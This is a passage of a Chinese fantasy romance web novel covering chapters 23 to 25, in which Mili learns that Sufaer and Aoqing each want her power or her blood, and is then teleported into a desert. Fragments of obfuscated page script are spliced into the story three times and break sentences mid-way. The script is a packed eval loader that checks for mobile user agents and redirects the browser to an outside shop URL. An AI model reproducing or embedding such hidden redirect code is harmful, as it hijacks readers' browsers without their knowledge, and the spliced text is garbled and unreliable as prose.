他们路过一家巫术店,咪莉毫不犹豫地走了进去。 她要好好算一算自己的命,最近发生在她身上的倒霉事实在太多了。 “咪莉想要算什么?”奥倾跟进去问了问,然后扫视着这家面积不大的小店。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 四周陈设简洁,空气里飘着一抹淡淡的木质香薰,店主是个年轻的金发女孩,坐在右手边的红色沙发上,面前摆着一张长桌子,桌子上摆着一些零碎物件,有白色的野兽利牙,深蓝色的海螺贝壳,一张黄色黑色交错的毛茸茸兽皮。 而更吸睛的是店主面前摆放的一枚比拳头大了两倍的黑色水晶魔法球,它被黑色沉木的底座托着,更是通身乌黑。 咪莉知道一些关于巫师的能力,他们会找一件自己最得心应手的东西与自己缔结契约,契约内容她也大概知道一点,就是他们对其注入自己的血液,把自己的灵魂与其融合相连,这样就可以使用契约物进行巫法。 巫法比魔法更难修炼,所以巫师比魔法师还要稀有,但巫师的预言确实非常准确,因此许多人千金求一预言。 店主对进来的三人礼貌一笑,貌美的五官无与伦比:“欢迎,客人们请坐。” 咪莉看了看奥倾,才坐到桌子面前的那张椅子:“你好。” 店主勾起自己美艳的红唇,眉梢眼尾都透露着慵懒的风情万种:“称呼我为潘妮就好,是你想知道未来一个月的预言吗?” 咪莉心里莫名地产生些紧张,拘谨地点点头,然后潘妮用她涂着黑色的长指甲指了指桌上摆的价位单——巫算一次一千银币(预言结果小店概不负责) 咪莉当即抬屁股要走人。 一千银币一次,干脆把她卖了吧。 但是她被苏法尔又按了回去:“我付账,不用担心钱的问题。” 咪莉安心坐好。 有人付钱当然是好事,还能让苏法尔出出血,哼。 “这位先生真爽快。”潘妮赞赏地看了一眼苏法尔,然后让他们两个男人出去,单独留下咪莉。 等他们两人出去后,潘妮让咪莉把手放在那只被底座托着的魔法球上。 神奇的一幕发生了,原本浓黑无光的魔法球在咪莉手心覆上去那一刻霎时光芒四射,耀眼白光从她指缝中泄漏出。 “咪莉……十八岁……弗曼城塔朗镇……” 潘妮目光平静地看着那颗白光闪烁的晶球,从口中缓慢地说出咪莉的各项信息。 咪莉觉得惊讶的同时,也对潘妮的能力感到佩服。 …… 十分钟后,等在门口的两个男人看见咪莉愁眉苦脸的出来了。 “怎么样?”奥倾上前一步问道,“看你脸色不太好,是有什么问题吗?” 咪莉摇摇头,忧愁地望天叹气:“潘妮小姐说,我未来一个月会有大事发生。” 苏法尔思考道:“很笼统的说法,有没有详细一点的信息?” 咪莉瞅了他一眼:“是有一点,潘妮小姐又说今晚我会有大事经历。” 苏法尔的眉头拧得更深了,扶着下巴在一旁苦苦思考。 奥倾想了想说:“今晚是花神节,或许指的这件事?” 苏法尔说:“花神节的举行是针对小镇的,不太能说得过去,还是太模糊了。” 咪莉抓抓头发说:“潘妮小姐说,今晚我发生的大事和花神节有关。”说完后她看了一眼苏法尔,那眼神像是有什么话要说,但是又没说。 苏法尔眨了眨眼:“怎么了吗?” “没什么,我们走吧。”咪莉带着困惑朝大街上走去,心里回想着潘妮告诉她的话。 潘妮说,她的丈夫会为她断掉一只手。 23.主动露狐狸尾巴 三个人漫步在喧闹的街头,宽敞的街道上花香四溢,除了蜜桉树的原因,还因为是花神节。 街上到处是摆满锦簇花团的摊子,洁白的,浅粉的,嫩绿的,天蓝的等等各色纷繁,看得人眼花缭乱,它们的香气混杂在一起,使人的感官受到了愉悦之情。 咪莉很快也将那个预言抛之脑后,闲游在街上四处观望,忽然一束花闯入自己的眼帘。 白色的日及花挤成一大团,素雅干净,碧绿的细枝从旁边伸出来围着它们,枝条上面结着小小的嫩叶,下面系着一条粉色的丝带。 “送给你。”奥倾拿着这束花,微笑着说。 日及花的花瓣又薄又嫩,就像雪一样纯洁。 咪莉惊喜地收在手里,凑上去闻了闻,淡淡的花香,她抬头说:“谢谢奥倾哥哥。” 咪莉说完往旁边看了一眼,苏法尔的身影已经不在了。 “苏法尔去哪儿了?” 奥倾指了指身后的方向说:“他在那里。” 咪莉看过去,见苏法尔站在一个满是鲜花的摊子前,他今天穿的一身白衣算是穿对了,被那些姹紫蔫红的花衬得更为漂亮英俊,异性缘当然也不会少。 比如他附近三米之内总会有三三两两作伴的女孩子悄悄跟随他,偶尔还会有胆子大的过去搭讪。 现在就正有一个穿着落日颜色裙子的金发女孩子拿着一枝红玫瑰羞涩地走过去,他们一个白色高贵优雅,一个橘色明媚灿烂,站在一起说不出的亮眼。 咪莉收回视线没再看了。 “我就是从那里买的日及花,苏法尔好像有什么心事,在那里一直停留。” 奥倾牵起咪莉的手径直往前走,对咪莉露出一个好看的笑容:“不用管他,我们去前面看看,难道你还想我们之间多个电灯泡?” “有个电灯泡挺好,省的你总是不正经。”咪莉又回头看过去,那个金发女孩子已经挽着同伴的手离开了,但是脸上却满是雀跃的娇羞,手里还拿着一朵三月兰。 再看看苏法尔,他一只手插着裤子口袋,一只手里捏着那一朵娇艳欲滴的红玫瑰,正满含柔笑地目送她们。 这是搭讪成功了? 咪莉忽然双眼一亮,那她离婚可就有望了呀。 “咪莉,你的眼睛都要黏在苏法尔身上了。”奥倾酸溜溜的嗓音传来。 咪莉咧着嘴嘿嘿一笑:“我想到办法让苏法尔和我离婚了。” 苏法尔跟了上来,走在咪莉身边,那朵红玫瑰被他随手垂在腿边,他看了一眼咪莉怀中的日及花:“咪莉想看雪吗?” “想。”咪莉回答着,“刚才是不是有女孩子跟你搭讪?” 看着咪莉晶亮的眼睛,苏法尔扯出一抹不怎么真心的笑:“没有。” 咪莉嘟了嘟嘴:“少装了,我都看见了,你们还互换了花朵,你是不是答应人家了?” 咪莉开心地眼睛都发了光:“我们两个的关系多耽误你谈恋爱啊,苏法尔,我们现在就解除婚姻吧。” 奥倾也看了苏法尔一眼,神色却有些复杂,苏法尔笑得和蔼可亲,话语却冰冷异常:“咪莉,除非世界毁灭了,不然我不会和你离婚的。” 咪莉惊愕地睁大眼睛:“不用这么坚定吧,万一你以后喜欢上其他人怎么办?” “不会有这种事发生的。”苏法尔不再看咪莉,看向前方的眼神已经变得冷漠,手里的那朵红玫瑰被他手心燃起的一个火焰咒给燃烧殆尽,连灰都不剩。 奥倾冷呵一声,抱着胳膊径直走:“刚才不是有人约你?做人还是坦诚一点好。” “是啊,做人还是坦诚一点好,奥倾,你敢把你所有的秘密都告诉咪莉吗?” “我对咪莉没有任何隐瞒。” “说谎小心自食恶果。” “呵,倒是你,不肯和咪莉离婚,不就是因为咪莉体内的圣女神力吗?” 咪莉瞪大眼睛不可思议地看着他们:“什么什么?你们在说什么?” 一直隐藏的秘密被人拆穿,苏法尔停下来,不慌不忙,大方一笑:“是,我就是为了咪莉体内的神力才纠缠她,我要用她的神力来复活我父亲。” 他的语气很郑重,眼中充满志在必得的轻狂。 咪莉很少见到这样的苏法尔,她愣了片刻,咋呼道:“哇,苏法尔,我就知道你当初对伊瑞妮不是真心的,狐狸尾巴露出来了吧!” 咪莉语气里竟还有微微的激动,就像自己猜测的事情被证实后的果然如此模样,好像苏法尔如果真的喜欢她才会令她头疼。 奥倾微微眯眼,根本没料到苏法尔会这么直接地暴露自己目的。 苏法尔笑看着咪莉:“是我自己露给你看的,咪莉,所以为了达到我的目的,我绝对不会和你离婚。” “为什么?”咪莉又怒又迷惑,她不太明白圣女神力和结婚有什么必要联系。 奥倾冷冷接话道:“因为取圣女神力需要夫妻亲密结合,不仅要有婚姻制约,还要有夫妻之实。” 面对咪莉的怒火,苏法尔根本不在意,他挑衅地看着奥倾,朝他挑眉冷笑。 他把自己目的主动坦白在咪莉面前,她会生气会埋怨,却不会伤心。 因为咪莉不喜欢他,不会感受到背叛。 而奥倾,则不一样,当奥倾的阴谋暴露在咪莉眼前,她的反应会是什么,奥倾能接受吗?这也是奥倾一直隐瞒咪莉的原因。 苏法尔朝前走了,留下奥倾和咪莉。 咪莉愤怒得满脸通红,嘴里直呼“可恶可恶她绝不会让苏法尔得逞”。 奥倾凝重地抿着唇,苏法尔的想法他猜得到,如果咪莉发现自己是在欺骗她的感情,她还会喜欢他吗? 答案是不会。 咪莉这样的人,无法接受感情的玩弄。 接下来的游玩三个人都各怀心事,但还是等到了夜幕降临,繁星满天的时刻。 夜晚的小镇更加热闹,各家店里的客人们络绎不绝,每一位游人身上或者头上都戴着各品种的花朵,三个人入乡随俗,也分别戴了一朵花。 咪莉的头上戴了一朵奥倾送她的日及花,奥倾胸前戴了一朵蓝色鸢尾,苏法尔的腰带上戴了一朵落日菊。 苏法尔站在一个贩卖魔法道具的小摊前,摊子后面就是老板的小店,看店的是一个黑发小男孩,看模样估计才八岁左右,他用着与自己天真年纪完全不符的语气给苏法尔介绍各种有趣的魔法道具。 摊子上有能画出实物的羽毛笔,可以显现出内心秘密的镜子,蕴含着火焰能量的精致匕首,迷晕敌人的炸弹球,隐匿人气息的糖果等等一系列好玩的东西。 “这个是可以让不喜欢你的人瞬间爱上你的爱情果,不过帅哥你应该不需要,你这么帅哪个女孩子会不喜欢你?”男孩儿举着手里紫色的浆果老道地说着,一副机灵鬼模样,他又拿起另一颗红色浆果说,“这个是神魂颠倒蜜果,吃了后身体就会羞羞哦。” 男孩说完用手捂着嘴露出色眯眯的坏笑。 苏法尔选了第一个爱情果。 男孩不可置信地说:“不会吧先生,您也需要这种东西?” 苏法尔笑了笑,付了钱离开。 咪莉和奥倾找了一家生意不错的烤肉店,坐下点完菜后苏法尔也进来坐下了。 “点了什么?” 咪莉逛得腿酸,边揉腿边说:“反正没给你点。” 受到排挤的苏法尔也不生气,自己加点了一份烤羊排。 咪莉问他:“你刚刚去哪了?” 苏法尔对她温柔笑道:“不告诉你。” 咪莉绝倒,她真是服了苏法尔。 奥倾看了眼苏法尔,对咪莉说他出去买些饮料回来。 咪莉奇怪地问他:“店里也有,怎么还专门出去买?” 奥倾笑说:“附近有家饮品店很出名,来这里一趟当然要让你尝一尝了,很快就回来。” 奥倾拍拍咪莉的手就走了。 饭桌上一时只剩下咪莉和苏法尔两个人,咪莉随口问他:“苏法尔,你要怎么用我复活你父亲?” 苏法尔倒了杯水说:“复活我父亲需要很强大的实力,其实单凭我个人的力量也可以,只不过成功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968118|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率只有一半。” 他对咪莉微笑:“但是如果加上圣女的神力,几率会提高很大一部分。” “会让我死吗?”咪莉睁着漆黑的眼睛一眨不眨地望着苏法尔。 苏法尔端起水杯抿了一口:“虽然从你体内取出神力会有一定的危险,但以我的能力你应该不会死,而且我一直让娜娜对你体内的神力进行隔离,只要你不吸收它,到时候我会更容易取出。” “你这话意思我还是有可能会死。”咪莉沉着脸色打算不再跟苏法尔交流。 “你会主动帮我吗?” 咪莉气道:“开什么玩笑,我才不会做这种让自己性命有危险的事情。” 苏法尔没再说话,时不时地喝口水。 咪莉忽然想起在伊瑞妮家中时,苏法尔聊到父亲时的表情,有淡淡的怀念,她不禁对苏法尔父亲感到好奇,没忍住地问:“你为什么要复活你父亲?” 人死后难道一般不都是入土为安吗,苏法尔却要做这种违逆天命的事。 苏法尔的脸上浮现一丝轻嘲:“因为他死得不值。” “不值?”咪莉的好奇心更重了。 “他是被他心爱的女人害死的。” 咪莉捂嘴震惊:“为情而死?” 苏法尔点点头,嘴角撇出一个讽刺的笑:“我父亲是魔族亲王,他爱上了龙族的一个女人,魔族名声不好,龙族自古清高避世,自然反对这段爱情。” “等等,你母亲是?” “我母亲就是那个龙族女人。”苏法尔淡淡道,脸上完全没有思母的情绪,“她为了坚守族规,放弃和我父亲离开,但当时肚子里已经怀了我。” 咪莉认真听着这段龙魔恋,催他道:“然后呢?” 苏法尔说:“我父亲为了她独自一人硬闯龙族要带她走,却被伤得元神尽毁,我母亲都不肯出来见他一面。” 咪莉蹙眉:“或许你母亲是有苦衷呢?” 苏法尔看向咪莉,这一眼极为冷漠:“什么苦衷要让我父亲临死前都见不到她一面?她就是残忍。” 咪莉也不知道内情,不好说什么,只好也喝着水,喝了一口又抬头问:“那你属于魔族还是龙族?” 苏法尔的食指敲了敲桌面说:“一半血统是龙族,一半血统是魔族。” 咪莉想到了一个人,立马问:“苏法尔,你认识纳罗吗?” 苏法尔眯起眼睛看着咪莉:“你见过他了?”当时他莫名其妙地大半夜出现在曼努森竞技城参与死斗就知道是纳罗那小子出来了。 咪莉点点头:“你们长得一模一样,是兄弟吗?” 苏法尔否认道:“不是,他是我体内的第二人格,是由魔族那部分血统产生出来的。” 咪莉错愕地瞪大眼睛:“双重人格?”怪不得纳罗说那么奇怪的话,因为他和苏法尔本来就是同一个人。 苏法尔轻轻点了一下头,垂眸看着桌面说:“纳罗凝聚了魔族所有暴乱基因,当我得知体内还有另一个我时,用了一百多年都没能吞噬他。” “真复杂……”咪莉咂咂嘴,又喝了一口水,发现没水了,准备倒水时看了看店门口,“奥倾哥哥怎么还没回来。” “饮品店生意好的话,要排队很久也是很可能的。” “也对。”咪莉站起来说,“我去找他。” 苏法尔却抓住她的手:“他又不是三岁小孩,还用你去接他?慢慢等就是了。” 咪莉愣了他一眼:“就是想走走而已,你在这儿等着上肉。” 于是咪莉耐不住性子欢快地跑了出去,在灯光绚烂的夜街上走走停停,顺便去找奥倾。 咪莉买了一串蜜糖葡萄拿着当做饭前小甜点吃,找到那家传说中很火的饮品店后,却在里头没看见奥倾的身影。 “难道已经回去了?”咪莉挠挠头发自言自语,心里想着刚才一路好像没有看见奥倾过去,她又往前走了一段,许多结伴的游客兴致盎然,还有的身上一股酒气,看样子是喝得真高兴。 咪莉的葡萄吃得还剩一个时,终于在一个巷子里看见了奥倾的身影。 24.三年感情骗局 咪莉站在人流拥挤的路口,奥倾背对着她,在远处的那个比较昏暗的角落里,他身边还站着一个男人。 那个男人有着一头长长的黑发,一边头发压在耳朵后,露出一张绝美容貌,他的眉眼冷峻,双眸掩在阴影中,虽然隔得很远,但大致能看出他脸上挂着一抹很冷的笑意。 咪莉慢慢往前靠近,越发觉得这个长发男人很熟悉,走到一颗蜜桉树下时,猛然想到了昨天遇到的那个血族。 会是同一个人吗?他们身形一样,也是长发,就连眼尾流露出的情绪都非常一致。 咪莉顿住了脚步,手里的那串蜜糖葡萄签子被她捏得死紧。 她有些困惑,为什么奥倾和那个血族在谈话,而且好像还一副相识的熟悉样子。 咪莉背对他们走远了些,吃掉那颗蜜糖葡萄,把签子丢进垃圾桶,穿过说说闹闹的人流,回到刚刚她路过的一个魔法道具摊贩前,买了颗隐匿人气息的糖果,含在口中重新回去,一路快步,拐进一个无人的狭窄小道。 她的脚步越来越快,停在一面墙壁前,借助旁边的矮墙攀爬上去,蹑手蹑脚地在墙沿上走了一段,然后趴下身子往前匍匐了两米停下。 她的正下面,就是奥倾和那个血族站立的地方,一个屋檐翘角正好挡住了她的身子,口中的糖果也可以让奥倾这样强大的人物不发现她的气息,她就这样凝神分辨着他们混在嘈杂人群中刻意压低声音的话语。 “你要是再不尽快点,我可就要把这一消息告诉长老了。”埃比茨的嗓音带着懒散感。 “埃比茨,这是我的计划,你不要插手,否则我让你回不去。”奥倾的声线异常冰冷,咪莉从没有听过奥倾这样的语气,简直就像另一个人。 “我不知道你到底在犹豫什么,一直拖延下去的话,底下那群吸血鬼可不会认你。”埃比茨轻笑,“他们会推翻你,踩上你的王位,视你如蝼蚁,三年,你浪费了三年,因为你从一开始就知道那个人类小丫头的血可以让血族改变基因,不再惧怕阳光。” 一阵沉默,奥倾没有回答。 埃比茨笑了一声:“我就知道你喜欢上她了,奥倾,你会为了她放弃你的地位吗?” “不会。”这次他回答得快,声线也是十分冷漠,“我只是在寻找一个合适的时机把咪莉带到不夜城。” 埃比茨嘲弄道:“你舍得献祭她,让她的血液流入不夜城的每一寸土地吗?” 奥倾机械的声音响起:“为了血族的发展,我必须这么做,埃比茨,听懂了吗?你如果再扰乱我的计划,别怪我不客气。” “有你这句话我就放心了,谁让你磨叽这么久?”埃比茨撩了撩自己的头发,舔了舔唇畔,像是在回味什么,“不过那小丫头的血是真的美味,到时候我要先享用一番再献祭她。” “埃比茨,你……” 奥倾震怒的话还没说完,就有行人指指屋顶说:“咦,那有个人趴在房顶呢。” “是啊,她在做什么?” 奥倾和埃比茨走出来同时看向房顶,咪莉已经站了起来,她从房顶上跳下来,看了眼上前想接住她的奥倾说:“献祭我的话,我会死吗?” 咪莉这样问着他,声音轻得仿佛一片羽毛,却令奥倾一阵揪心。 但奥倾只是沉静地看着她,双眸在如水的夜色中显得朦胧寂寥,他没有说话,心口一阵发堵。 埃比茨笑吟吟的声音从奥倾身后传来:“当然会死,小妹妹,你在天真什么?你不懂献祭是什么意思吗?” 埃比茨的笑容那样灿烂,嘴里说的话却是残忍至极,就像要把咪莉抽筋剥皮那样恶意满满。 咪莉咬紧了牙关,令自己镇定着,看向他说:“哦,是我天真了。”然后她又重新看向奥倾,就像是要等他什么解释。 她不知道自己此刻究竟是什么感觉,各种复杂情绪交织而来,到最后只有一种想抓住什么却什么都没有的无力感。 良久后,奥倾露出一抹笑:“咪莉,我没办法的,我只能这么做。” 咪莉的手握成拳,寒意侵蚀着她的身体,她颤抖着,连同她的心,眼前已经看不清东西,奥倾的脸变得模糊,声音变得陌生。 看着咪莉泪流满面的模样,奥倾内心挣扎着,慢慢上前一步,但是还没开口,咪莉已经哽咽着说:“你可以直接绑了我带我去做你那什么献祭,可你为什么要欺骗我的感情?” 三年,说长不长,说短不短,但足以让她把奥倾视为自己在这个世界上除了妈妈最亲近的人,可是现在却告诉她,这一切只是一个精心编织的骗局。 她抬手用手背抹了把脸,泪水很快又流了下来:“这样我也不会对你……对你……” 咪莉一直哭,整张脸几乎都被她抹得满是泪,埃比茨不知为何,看得心烦:“他一开始是想利用你圣女的身份,后来才知道是你的血有……” “埃比茨!”奥倾忽然大声喝止他,浑身散出强盛的怒意。 埃比茨愣了愣,随即看向咪莉冷嘲一声:“就是因为你太天真才会被奥倾这种老狐狸骗。” 埃比茨说完就消失了。 “我不想再见到你了,如果你要抓我,我打不过你,但我不会就这么放弃自己跟你乖乖走的。” 咪莉说完随后也走了,她的身影迅速消失在密集的游客中。 奥倾没有追上去,只是留在原地,脸上一片落寞,只有那头浅金的头发闪着星星点点。 咪莉停在了下一个路口,一双双情侣手捧着五颜六色的花束从她身边经过,她现在的模样应该很难看,不然路过的人怎么一直看她。 “美丽的小姐,请问你有什么烦恼吗?”一位年轻的蓝发男子站在咪莉面前,一脸怜惜地问着,“这世界上竟然还有连哭泣都这么动人的女孩子,告诉我,是谁欺负你了吗?” 咪莉摇摇头,还没有开口感谢对方的好意,就被一道男声轰走:“这是我妻子,先生搭讪还是找别人去吧。” 蓝发男子满是抱歉地笑笑,然后离开。 苏法尔走上前,看着把一张花脸别过去的咪莉,冷声道:“怎么,撞见你奥倾哥哥撩别的女人了?” 咪莉提起一口气瞪向他:“你真让人讨厌。” 苏法尔嘴角的笑意冷却了一瞬,随后无所谓地说:“谢谢,能让美丽的咪莉小姐讨厌是我的荣幸。” 咪莉被他气得哑口无言,冷哼一声走掉。 苏法尔跟了上去,只不过是跟在她身后的两步距离,她的背影单薄纤弱,长发披在背脊,有一瓣白色的蜜桉花不知何时夹在了她的黑发间,在灿金的灯色下若隐若现。 咪莉时不时地擦泪,到最后情绪安稳了许多后,心里只剩下迷惘的空荡感,她漫无目的地走在街上,想起什么似的,把头上戴的那朵日及花摘下扔到了垃圾桶里。 看着咪莉的举动,苏法尔上前和她并行道:“到底发生什么事了?” 咪莉的声音很平静:“你说得对,奥倾哥哥对我目的不纯,他和你一样,都是别有用心地接近我。” 她说着,把空洞的目光落在苏法尔脸上,里头燃起一丝怒意:“你们都是一样的混蛋。” 苏法尔皱眉:“他想对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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咪莉大步流星朝前走去,也不管苏法尔什么反应,现在回家吧,先跟妈妈说清楚情况,然后努力修炼,成为合格的圣女。 苏法尔一步一步地跟着,看着前头忽然浑身磅礴气势的咪莉,手在口袋里摸了摸,是那颗他买的爱情果。 他快步跟上,拿出来递到咪莉面前:“要吃吗,刚才买的浆果,老板说很甜,还可以增加大量魔力。” 咪莉狐疑地看着他:“你该不会骗我吧?” 她才不信苏法尔会这么好心,要是放在他还没坦白前,为了扮演好丈夫这么做她还有那么一点相信,但是现在大家摊牌了,她就开始怀疑苏法尔对她做任何事情的动机。 苏法尔又放回兜里,无所谓道:“不吃算了,花了我五个金币的东西呢。” 咪莉立马扑过去从他兜里掏出来:“这么贵,我吃。” 苏法尔嘴角一勾,看着咪莉咬了一口果子。 甜到腻牙的果汁在口腔中蔓延,咪莉嘟囔着:“好甜啊。” 这浆果没有果核,她三口就吃完了,嘴里头甜滋滋的,像吃了几口蜂蜜。 她正想问苏法尔为什么她没有感受到体内增加魔力时,忽然觉得身体一阵扭曲感,就像有条绳子勒住了她,把她往各个不同的方向拉扯,但是一点也不痛,这种感觉十分奇妙。 紧接着,她的身体周围发出强烈的白光,苏法尔见状不对,立马抓住咪莉的手。 “咪莉!” 下一秒,苏法尔和咪莉一同原地消失。 …… 某间贩卖魔法道具的小店中,一个暴跳如雷的女人声音怒吼道:“我的空间跳跃魔法果怎么不见了,臭小子是不是你弄混了!” 男孩赶紧端着一筐五颜六色杂七杂八的果子从小摊前跑进屋里扯着嗓子说:“妈!你看看里面有没有?” 25.荒凉异地 一片广袤无际的黄土平原中,咪莉和苏法尔紧握着手站在其中。 看着眼前这突然从馥郁芬芳的浪漫街道转变成苍凉冷清的陌生环境,咪莉有种不真切的做梦感,心情犹为复杂地问:“这……是哪儿?” 苏法尔也是同样的疑惑,他左右环顾:“我也不知道,我们大概是被魔法传送过来的。” “什么魔法?我们明明……”咪莉话一顿,“你说的是我吃的魔法果?” 苏法尔点了一下头,往前走了两步,发现自己的手还拉着咪莉的。 咪莉也反应迅速地甩开了他的手,保持冷淡的面无表情。 苏法尔把手揣进风衣口袋中说:“大概是店主错把魔力果当成了传送果。” 他的视线落在其他地方,又抬头看了看天,阴云密布,厚重得看不清天空原本颜色,一丝丝的阳光也没有,他喃喃道:“这里有些不对劲。” 咪莉正张望四周,听到这话后她说:“我也觉得有点不对劲。”她的心里有种没由来的慌乱感。 苏法尔朝她伸出手说:“我去其他地方看看,但为了以防万一,我们需要在一起,有什么意外发生也不会失散。” 咪莉看了眼那只修长有力的手:“拉手是必要的吗?” 苏法尔笑得温和:“嗯,我要用瞬移,这里太大了。” 咪莉嘟了嘟唇,不情不愿地把自己的手放进去:“好吧。”然后开始在心里琢磨她也要练习瞬移。 苏法尔轻轻握了握,根据直觉随便选了个方向催动魔力瞬移到十里之外。 紧接着一百里之外,二百里之外…… 直到确定周围没有任何人迹他才停下来:“咪莉,我想我们距离奈彼多鞍很远。” 咪莉虽然觉得苏法尔瞬移了很远,但她看着周围仍旧一片荒凉的土地心生不解地问:“你瞬移了很远吗?为什么周围没有任何变化。” 苏法尔的语气有些无可奈何:“我们大概移动了有一千里。” 咪莉的眼睛瞬间瞪大,然后她发现脚下的土地似乎确实跟一开始站的不一样。 她都不知道自己该感叹苏法尔的魔力无穷无尽到瞬移了这么长都脸不红气不喘优雅淡定,还是该悲催自己竟被传送到这么一个鸟不拉屎的荒地。 “那我们现在该怎么办?”咪莉有些沮丧。 苏法尔再次看了看头顶的天空,沉思了两三秒后说:“这里是白天,奈彼多鞍是黑夜,说明我们来的地方和奈彼多鞍在大陆上跨度很大,继续走吧,看能不能找到什么人家。” 咪莉的心登时沉了下去,面对这陌生的地方,苏法尔是她唯一认识的人了,她看了看两人拉着的手:“还是瞬移吗?” “嗯,走路没有效率的,恐怕到夜里我们都走不出去。” 于是两人再次瞬移至千里之外。 所见之处依然是黄秃秃的大片平原。 比起咪莉的越发焦急,苏法尔表现得依然稳如泰山,不耐烦地一直往前飞。 穿过无望的平原,又是干燥的黄色沙漠,他们不知道这样瞬移持续了多久,从惨淡灰暗的天,到墨黑阴冷的深夜,再到月白压抑的黎明,期间他们看不到任何有颜色的建筑们。 所幸功夫不负有心人,他们终于见到了一座石窟建筑,在风沙中模糊了棱角,看外观构造应该是有人住的酒店。 咪莉的眼睛瞬间亮了,虽然使用大量魔力瞬移的不是她,但在天干物燥的环境中久待十几个小时,娇气的她就有些受不了。 “好像是酒店?”咪莉松开苏法尔的手跑了过去,口干舌燥的她迫切地希望喝一口水。 苏法尔过去拉住毛毛躁躁的咪莉:“还是小心点为好。” 咪莉觉得也是,荒郊野外的沙漠里出现一座前不着村后不着店的酒店,怎么看都诡异,会有除了她和苏法尔这俩倒霉蛋来这里住宿的旅人吗? 答案显然是没有。 可是看着也不像沙漠中的海市蜃楼。 苏法尔和咪莉两人抱着古怪疑惑的态度走进这家石窟酒店,里面挺宽敞干净,一楼是擦得发亮的方桌凳子,靠柜台的地方有个木质旋转楼梯通向二楼。 老板是个黑色卷发大叔,脸上散发着一股霉气的阴湿感,令咪莉看了有些不舒服。 “两位客人用餐还是住宿?”老板咧开嘴,露出一口不整齐的牙齿。 苏法尔微笑道:“住宿,先来一间房间。” 咪莉对苏法尔只要了一间房没有任何疑义,毕竟在这种环境中她单独住是有一定风险的。 上了楼后,是一条阴森森的木墙走廊,只有一侧是客房,窗户靠后墙,能看得见沙漠。 两人进到房间后,打量了一番,一张干净的白色被褥双人床,两张床头柜,一张壁柜和一把椅子,还有个浴室,其他的就没有了。 咪莉走到壁柜前掂了掂水壶,她想喝口水,但是里面是空的,便转头对苏法尔说:“我去下面要些水……” 可苏法尔此刻已经仰躺在了床上,闭着眼睛在睡觉的模样。 洁癖的咪莉顿时不能忍,过去抓着他的胳膊让他起来:“我们身上脏死了,全是灰沉沙土,你洗洗澡再躺。” 苏法尔睁开眼睛,纹丝不动,他和咪莉对视着,然后说:“我很累,你帮我洗吧。” 咪莉赏了他一巴掌。 苏法尔捂着发红的手背弓起身子,叹息道:“好惨呢,带老婆终于找到个可以睡觉的地方却还要被打。” 咪莉受不了他突然发神经的卖惨,连忙摆摆手离开床:“好好好,你睡吧,我不打扰你,等你休息好了再洗澡。” 一路上持续用了不下五十次长距离瞬移,每次间隔时间也很短,就算是半神级别的魔法师也会感到被掏空身体般疲累。 咪莉看了眼已经重新闭上眼睛的苏法尔,他侧躺在床上,半边脸压在枕头上,额发也有些凌乱,掩盖着一双浓黑的眉毛,他的五官清秀,漂亮中又有些孩子气。 咪莉不知道为什么会有这种感觉,明明苏法尔是个比她要高一头还多的健壮男人。 苏法尔累倒,那么随时警惕周身危机的责任就落到了她身上。 咪莉下楼要了早餐,两杯牛奶,三份奶酥,三份烤肉,和一些饭后水果。 多出来的一份是给苏法尔的加餐,咪莉怕他身体累坏了才想着给他补补,不然要是多了个病号还真不好办,这里可没有医疗救助什么的,老板也没有药。 可是回到房里后,苏法尔怎么叫都不醒,只迷迷糊糊地应了咪莉几声就继续睡着,跟个不想起床的小孩儿似的。 咪莉没办法地说:“那你等下醒来记得吃哦,我给你盖着,凉了你用火焰咒加加热。” 咪莉也没再管苏法尔,吃完自己的早餐后,去洗了个澡,她没有换洗的衣物,身上套的宽大白衬衫也是跟老板要的,还套着包装袋,是新的,所以她穿起来挺放心,也给苏法尔买了两件替换。 衬衫很大,下摆直到她的大腿,所以她没穿裤子,只有一件新裤子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996978|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她留给苏法尔了。 把换下来的内衣清洗干净晾在衣架子上,咪莉从浴室出来后看了眼床上的人,看样子苏法尔身体损耗得不少,和她进去时一直一个姿势,睡得很熟。 咪莉以前听说过一个同学每次使用完魔力身体都会发烧生病,要养好多天才能恢复,她担心苏法尔也会是这样的情况,就走到床边喊了一声:“苏法尔,你有没有不舒服?” 苏法尔背对着她没有回答,只是眼皮动了动。 咪莉弯过去腰伸手摸了摸苏法尔的额头和脸颊。 体温正常,没什么大碍。 她放心了些:“苏法尔,你可不能生病啊,不然我们没药吃的,我刚刚找老板要了,他说没有。” 苏法尔还是没回应她。 咪莉也不再吵他,走到窗边,拉开窗帘,屋子里瞬间多了些天光,她透过玻璃朝天上看去,天依旧沉闷压抑,厚云堆积在酒店的头顶,就像随时要来一场暴风雨一样。 咪莉眺望着无边无际的沙漠,轻轻地叹了口气,双肩也跟着垂了下去。 不知道她和苏法尔这是到底传哪儿来了,那个人会知道自己消失了吗? 奥倾…… 